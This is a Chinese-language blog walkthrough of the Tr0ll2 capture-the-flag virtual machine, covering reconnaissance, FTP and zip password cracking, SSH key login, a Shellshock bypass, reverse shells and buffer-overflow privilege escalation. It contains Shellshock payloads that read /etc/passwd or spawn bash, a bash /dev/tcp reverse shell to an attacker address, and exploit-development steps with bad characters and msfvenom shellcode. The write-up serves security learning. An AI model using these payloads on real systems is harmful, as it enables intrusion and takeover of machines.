欢迎光临散文网 会员登陆 & 注册

项目九:Tr0ll2

2023-08-05 01:30 作者:沙漠里的鲸  | 我要投稿

##Nmap存活主机发现

----靶机IP:192.168.95.155

---全端口扫描

---指定端口扫描:没有发现什么有用的信息

---思路1:通过ftp和Web收集用户名和密码,爆破SSH

---思路2:通过ftp和Web,获取WebShell

---小米范系列工具的介绍与下载(存活主机扫描要求Java1.8,我的是java11):

https://www.cnblogs.com/fsqsec/p/5501657.html

最新版本下载地址:http://www.cnblogs.com/SEC-fsq/p/5736675.html

#Web漏洞信息收集

---访问80端口源代码提示:<!--Nothing here, Try Harder!><!--Author: Tr0ll><!--Editor: VIM>

---这里收集到2个用户名:Tr0ll   VIM

----cupp密码生成工具的使用

---根据姓、名、绰号、生日填写爆破字典,会在目录下生成一个根据姓名/出生日期的字典

---采用 Tr0ll/Tr0ll作为用户名和密码登陆ftp

---ls查看ftp里面存在一个zip文件,下载下来

----尝试解压,发现需要密码,采用:Tr0ll和VIM均失败

---采用dirb进行目录扫描,发现除了robots.txt其它都没有访问权限(可能会存在登陆界面

---回到web进行信息收集,访问robots.txt,发现一些web的目录

---采用dirb爆破robots.txt文件(一个一个手工访问比较麻烦)

---这几个页面跑下来都是一张图片,其它的访问没有权限

---前端源码提示更接近了,采用工具分析图片

#图片信息收集

---binwalk分离图片,查看是否存在隐藏内容

---exiftool查看图片的描述信息

---strings查看图片的底层存储ASCII信息,发现下面多了一句话,提示y0ur_self目录

---访问发现一个文件

---点击answer.txt,发现存在base64编码的东西

---将文件下载下来,然后base64解码

---cat发现是一个密码字典,这颗ftp我们已经登陆了,web没有发现登陆界面

---能够爆破的的只剩下zip文件和SSH,但是SSH爆破一般没有这么轻松

---所以我们先爆破zip文件,看看能不能获取一点有用的信息

#Zip爆破

---方法1:zip2johon

---将zip文件的密码转化为RSA加密的(类似SSH的私钥)

---采用john爆破RSA的密码本,--wordlist指定爆破字典

---但是这里没有破解成功,破解zip不好用

---方法2:fcrackzip

---[-u|--use-unzip] 使用 unzip 清除错误密码
---[-D|--dictionary] 使用字典
---[-p|--init-password string] 使用字符串作为初始密码/文件

---这里发现密码为:ItCantReallyBeThisEasyRightLOL

---解压lmao.zip发现靶机SSH的登陆密钥的noob文件(用户名为noob

##SSH密钥登陆

---SSH登陆的三种方式

---尝试使用私钥登陆:ssh  noob@192.168.95.155 -i noob 

---报错原因:没有配置服务器接受以 ssh-rsa 格式签名的公钥进行身份验证

---这里的原因是还不支持:发现是SHA-1算法不安全,新版本的openssh已经禁用了

--这里是允许SHA-1算法(RAS)进行SSH签名登陆

---再次尝试发现这里只是被拒绝,没有报错了

---但是这里还是被拒绝了(这里是环境变量问题,不允许使用/bin/bash和/bin/sh)

---但是这里RSA是正确的,我们尝试绕过,进而使用SSH的命令执行

#bash CVE-2014-6271 中的远程利用漏洞:Shellshock

---简而言之,这里是一个受到限制的shell环境,目的是为了提高安全性,指的是一个会阻止/限制某些命令(如cd、ls、echo等)或“阻止”SHELL、PATH、USER等环境变量的shell环境

https://www.cnblogs.com/linuxsec/articles/10741580.html

---靶机本身因该处于/bin/sh或者/bin/bash,但是在这里由于做出了限制,导致在/bin/bash这个shell的环境下,无法使用SSH密钥登陆

---绕过:bash CVE-2014-6271,如果SSH的密钥是正确的,我们可以使用SSH的命令执行


---这里可以看见bash子进程,没有继承zsh的变量gu

---如果将临时变量导出为环境变量

---当前shell就像main()函数里面调用的一个函数(栈空间),shell进程结束就销毁

---export相当于全局变量,shell进程结束并不会被销毁

---这里也可以以函数的形式设置函数变量:函数名() {    # 函数内部的操作和命令}

---在环境变量里面,变成了BASH_FUNC_gu%%

---也可以使用:export -nf gu删除环境变量函数(-n删除变量-f为函数)

---bash子进程误把普通环境变量(){ :; }当做函数环境变量处理了

---注意: :什么都不做,在这里和true等价

---这个通过(){ :; }构建普通环境变量,当成命令执行(我Kail的版本因该不存在这个漏洞)

---我的bash的版本不存在这个漏洞(bash<=4.3)

#总结:

---shelshocke简介:
---shellshock即unix 系统下的bash shell的一个漏洞,Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统。
---漏洞成因:
---bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理

---在Kail上传切换到bash,通过(){ :; }构建exp

---先根据步骤,构建exp获取用户密码

---漏洞原理还是没有太清楚,先登陆后再分析,发现存在漏洞

---我以为是ssh后的命令执行:'() { :;}; cat /etc/passwd'

---所以我构造了:ssh -i noob noob@192.168.95.155 ccc='() { :;}; /bin/bash'

---构建一个变量,但是这里没有成功(说明是利用已有的环境变量

---这里SSH连接应该是执行的环境变量:SSH_CLIENT或者SSH_CONNECTION(大概率是这个)

#反弹shell到Kall主机

---方法1:bash进行反弹

  • bash -i:打开一个交互式的bash

  • /dev/tcp/:是Linux中的一个特殊设备,打开这个文件相当于发出一个socket调用

  • >&: 后面接文件时,表示将标准输出和标准错误输出重定向至文件

  • 0>&1: 代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了“/dev/tcp/本机机器ip/本机机器监听的port”这个文件,也就是远程,那么标准输入也就重定向到了远程

---方法2:使用bash的exec命令

  • exec 5<> /dev/tcp/192.168.11.75/4444: 这行命令使用Bash的 exec命令打开一个文件描述符(File Descriptor)为5的连接,将其绑定到本地主机上指定的IP地址和端口号

  • 文件描述符为0:表示标准输入(stdin)。在Shell中,通常是从键盘接收输入。

  • 文件描述符为1:表示标准输出(stdout)。在Shell中,通常是将输出打印到终端。

  • 文件描述符为2:表示标准错误(stderr)。在Shell中,通常是将错误消息打印到终端。

  • 文件描述符大于2:通常由应用程序打开的文件、套接字或其他I/O流所使用的文件描述符。文件描述符5就是这样的一个用户自定义的文件描述符

  • <>表示互相重定向,因此可以写入,也可以读取文件、套接字或其他I/O流

  • cat <&5: 从文件描述符5(即TCP连接)读取数据,并通过管道传递给while循环

  • while read line;循环逐行读取从cat命令传递来的数据,并将每一行的内容赋值给变量line

  • read 是Bash shell中的一个内置命令,它允许用户在命令行中输入内容,并将输入的内容保存到一个变量中。在这里,line 是一个变量名,用于保存输入的内容

  • 2>&5: 将标准错误(stderr)重定向到文件描述符5,这样任何错误消息也会通过TCP连接返回给远程主机。

  • >&5: 将标准输出(stdout)重定向到文件描述符5,这样命令执行的结果也会通过TCP连接返回给远程主机

---方法3:使用Netcat-traditional反弹

---e表示: nc命令的输入或输出重定向到一个指定的程序

---方法4:使用python反弹

---由于之前将输入和输出重定向到套接字,因此现在bash与远程主机的Shell进行交互,并将结果返回给远程主机,实现了反向Shell连接

---由于在shell命令行执行,故添加python -c''

---方法5:perl反弹

---和Python思路类似

#ShellShock攻击回顾

---通过构建类型函数环境变量的方式构建环境变量(如果是函数环境变量:

ailx10() { echo "ailx10 is a hacker";}),切换bash之后混淆

---在bash之前,ailx10只会当初环境变量,执行ailx10会报错

---在bash之后,ailx10被当成了函数环境变量,执行ailx10之间执行命令echo

---通过env的查看,发现在bash之后,ailx10被写成了函数环境变量的形式

---bash子进程误把普通环境变量(){ :; }当做函数环境变量处理

---注意:在env里面,函数环境变量的特点:(){

---根据(){的特点,拼接命令执行:abc='() { :; };/bin/ls'

---这里在env里面就像:abc=() { :;/bin/ls

---注意::什么都不做,在这里和true等价

---但是真正的env只是abc=() { :,表示这个命令什么都不执行

---这里再次执行abc命令的时候,就是空

---但是好奇为什么切换bash的时候,会执行构造的命令执行呢?

---这是由于:当你切换到Bash时,如果~/.bashrc或其他相关的初始化文件中包含这样的函数定义,Bash会执行这些文件并加载其中的函数和环境变量。所以,当你切换到Bash时,会执行abc函数的定义(包含了/bin/ls),但是再次执行就只是空

---一句话检验shellshock

---shellshock的归纳如下

  • 1. 产生新的bash

  • 2. 通过环境变量传递

  • 3. 环境变量以() {}这样的形式

#SSH 来利用 shellshock

---为什么SSH要利用shellshock?

  •  如果帐户被限制运行特定命令,例如,仅 SFTP 帐户或仅 git 帐户等

  • 有多种方法可以限制帐户使用 SSH 运行特定命令: ForceCommand选项中 sshd_config,或与 command=。  限制在 authorized_keys文件。  如果用户的 shell 是 bash,则 Shellshock 漏洞允许通常只能访问受限帐户的用户绕过限制并执行任意命令

  • 利用bash漏洞绕过“强制命令”,执行任意命令。 发生这种情况是因为“ssh”守护进程将我们传递的命令设置为 $SSH_ORIGINAL_COMMAND 环境并执行它

---验证了我们之前SSH_CONNECTION的环境变量的猜想(emmm 这里还是有点迷惑)

##系统漏洞信息收集

---查看OS的系统内核和发行版本(真老,漏洞百出)

---后续思路:1.谷歌搜索 2.searchsploit搜索 3.msf搜索

---4.linpeas.sh查看 5.Linux-exploit-suggester.sh查找漏洞

---查看用户的计划任务(crontab -l)和系统的计划任务(find查找,发行没有读权限)

---find命令查找具有suid的权限

----查看非系统默认目录,发行熟悉的感觉(缓冲区溢出提权)

---在进入目录,显示目录下的文件大小及权限

  • -a: 显示所有文件和目录,包括.开头的隐藏文件。

  • -l: 使用长格式输出,显示文件和目录的详细信息,如权限、所有者、组、大小、创建日期等。

  • -h: 以人类可读的方式显示文件和目录大小,例如显示为 KB、MB、GB等单位。

  • -R: 递归地列出当前目录及其子目录中的文件和目录。

---执行了/door1/r00t文件(7.2K),直接退出shell了

---不知道为什么我的ls命令被禁止了,这里因该是我执行/door1/r00t(7.3K)导致系统重启

----下载linpeas.sh脚本分析

----操作系统存在系统漏洞

---靶机安装了gdb、python、gcc、perl

---这里发现maleus的用户存在sudo权限(可以尝试爆破一下)

---使用hydra和之前网站获取的脚本,爆破一些maleus的SSH

---指定爆破脚本,发现ssh限制靶机

----这里我恢复了一下快照,ls命令又可以使用

---进入8.3K的r00t,先执行,这里提示需要输入(存在输入点就可能存在缓冲区溢出漏洞)

---查看Python版本发现是python2,采用$()构建运行文件的参数

---python -c 'print "A" * 300'(运行shell生成300个A,显示分段错误,说明存在缓冲区溢出

---采用base64复制到Kail上进行分析

#缓冲区溢出分析

---生成通过模式字符串,参数 -l生成300个模式字符串

---查看靶机是否开启ALSR

---这里发现没有开启,0没有开启,1半随机,2全随机(包括heap堆)

---Linux里面的内存结构

---缓冲区溢出漏洞的原理

---采用GDB获取到发送缓冲区溢出时,模式字符串的值

---采用pattern_offsec确定缓冲区溢出的偏移量(缓冲区栈顶到ebp的偏移量)

---这里发现偏移量是268

---在kail采用pead模块的gdb,checksec查看是否开启防护机制,发现没有防护

---构建python2脚本,264个缓冲区+4个EBP+4个call_adr

---传参执行,然后查看寄存器,发现EBP和ESI里面的值确实是AAAA和BBBB的ASCII

---ESP的值:0xbffffb90

---如果传递超过call_adr限制的参数,就会进入上一个函数

----堆栈是从低地址到高地址,这里ESP的值0xbffffb80,可以发现比0xbffffb90要小

---从这里可以看出,填充超过call_adr的字符串,就自动进入下一个函数的栈顶

---严格来说还不是上一个函数,是call之前的状态

#缓冲区漏洞利用思路

---1.找到ESP 2.填充nop 3.确认坏字符 4.生成剔除坏字符的shellcode 5.call_adr跳转ESP

---生成坏字符

  • {}:这是格式化字符串的占位符。在这里,我们只有一个占位符,表示要插入一个值

  • :02x:这是格式规范。其中, 02 表示输出的字符串宽度为2,不足两位的会用0填充; x 表示将数字转换为小写十六进制字符

---运行脚本,生成[1,255]的16进制

---构建验证坏字符的传参(我这里kail要指明是Python2)

---这里发现:0x0A是坏字符(\n),同时也可以验证:ESP = call_adr + 4 = ebp+8

---x为查看内存,x/<n/f/u> <addr>:n、f、u是可选的参数

---n是一个正整数,表示显示内存的长度,也就是说从当前地址向后显示几个地址的内容。
---f 表示显示的格式,参见上面。如果地址所指的是字符串,那么格式可以是s,如果 地址是指令地址,那么格式可以是i
---u 表示从当前地址往后请求的字节数,如果不指定的话,GDB默认是4个bytes。u参数可以用下面的字符来代替,b表示单字节,h表示双字节,w表示四字 节,g表示八字节

---剔除\x0a后再次尝试,发现\x0b也是坏字符

---如此迭代,获取坏字符:\x00 \x0a \x0b \x09  \x20

  • \x00:这是空字符 (null character),它是 ASCII 字符集中值为0的字符。在C语言风格的字符串中,空字符通常用作字符串终止符或表示字符串的结尾。

  • \x0A:这是换行字符 (newline),也称为换行符。在不同操作系统中,换行字符的表示可能不同,例如在Unix/Linux系统中通常是 \n,而在Windows系统中是 \r\n。在文本文件

  • \x0B:这是垂直制表符 (vertical tab),它在早期计算机和打印机中用于垂直定位,但现在很少使用。

  • \x09:这是水平制表符 (tab),也称为制表符。它在文本处理中用于实现文本对齐或在输出中创建固定大小的间距。

  • \x20:这是空格字符 (space),它是ASCII字符集中值为32的字符。在文本中,空格通常用于表示空白间隔

---MSF的msfvenom生成shellcode

----:-a 框架选择;-p指定载荷 -b坏字符  -e 编码 -f生成shellcode的格式 EXITFUNC=thread以线程的方式结束

---一个小技巧,可以tab来查看哪些shellcode

#构建Linux反弹shell和本地exec执行

---注意,也可以使用网站生成shellcode:

---本地exec命令执行的shellcode

---构建poc,call_adr的位置是要倒着写(小段存储,和栈空间由高地址到低地址)

---\x90代表nop

---运行发现获取root(但是这里不是root用户)

---而且切换bash之后,发现SUID权限没有了

---查看ran_dir.py文件

---生成反弹的TCPshell

--生成了c文件类型的shellcode

---构建payload

---监听6666端口

---这里我好奇计划任务在哪里

---grep -r "ran_dir.py" / 2>/dev/null(递归搜索包含指定内容的文件)

---直接cat是每十五分钟执行一次:cat /var/spool/cron/crontabs/root

---我之前的思路是使用find命令查看包含cron的文件

---但是计划任务的目录也可能是目录

##知识点总结

---1.nmap扫描:存活主机、端口扫描、版本扫描、操作系统扫描

---2.Web页面(前端源码)收集用户名/密码爆破字典

---3.cupp配合用户姓名、生日、家庭等生成用户名的爆破密码字典

---4.dirb目录爆破和dirb访问robots.txth文件,获取敏感图片,图片解析:binwalk、exiftool、strings配合grep获取Web后台目录

---5.Web页面收集的用户名/密码弱口令登陆ftp获取加密ZIp文件

---6.敏感Web后台目录获取加密密码字典,base64解码

---7.加密ZIP文件爆破:1.fcrackzip -u -D -p   2.zip2john将zip转化为rsa,john爆破rsa

---8.ssh登陆的三种方式:用户名登陆、密钥登陆、配置文件简化用户名登陆

---9.RSA登陆SSH命令执行(-t)

---10.shellshock原理:环境变量、函数环境变量、bash<=4.3、切换bash、(){:;}

---11.ssh命令执行结合shellshock:

---12.shell反弹一句话的四种方式

---13.提权思路:系统漏洞(内核/版本)、Sudo提权(sudo -l | /etc/sudoers)、SUID提权(find / -perm -u=s)、计划任务提权(crontab | /var/)、密码提权(/etc/shadow|/etc/passwd)、服务提权(端口碰撞)、缓冲区溢出提权

---14.缓冲区溢出提权流程:检验是否存在ALSR、checksec、是否存在输入和敏感函数、模块字符串确定偏移量、坏字符确定、shellcode变量、利用payload绕过


项目九:Tr0ll2的评论 (共 条)

分享到微博请遵守国家法律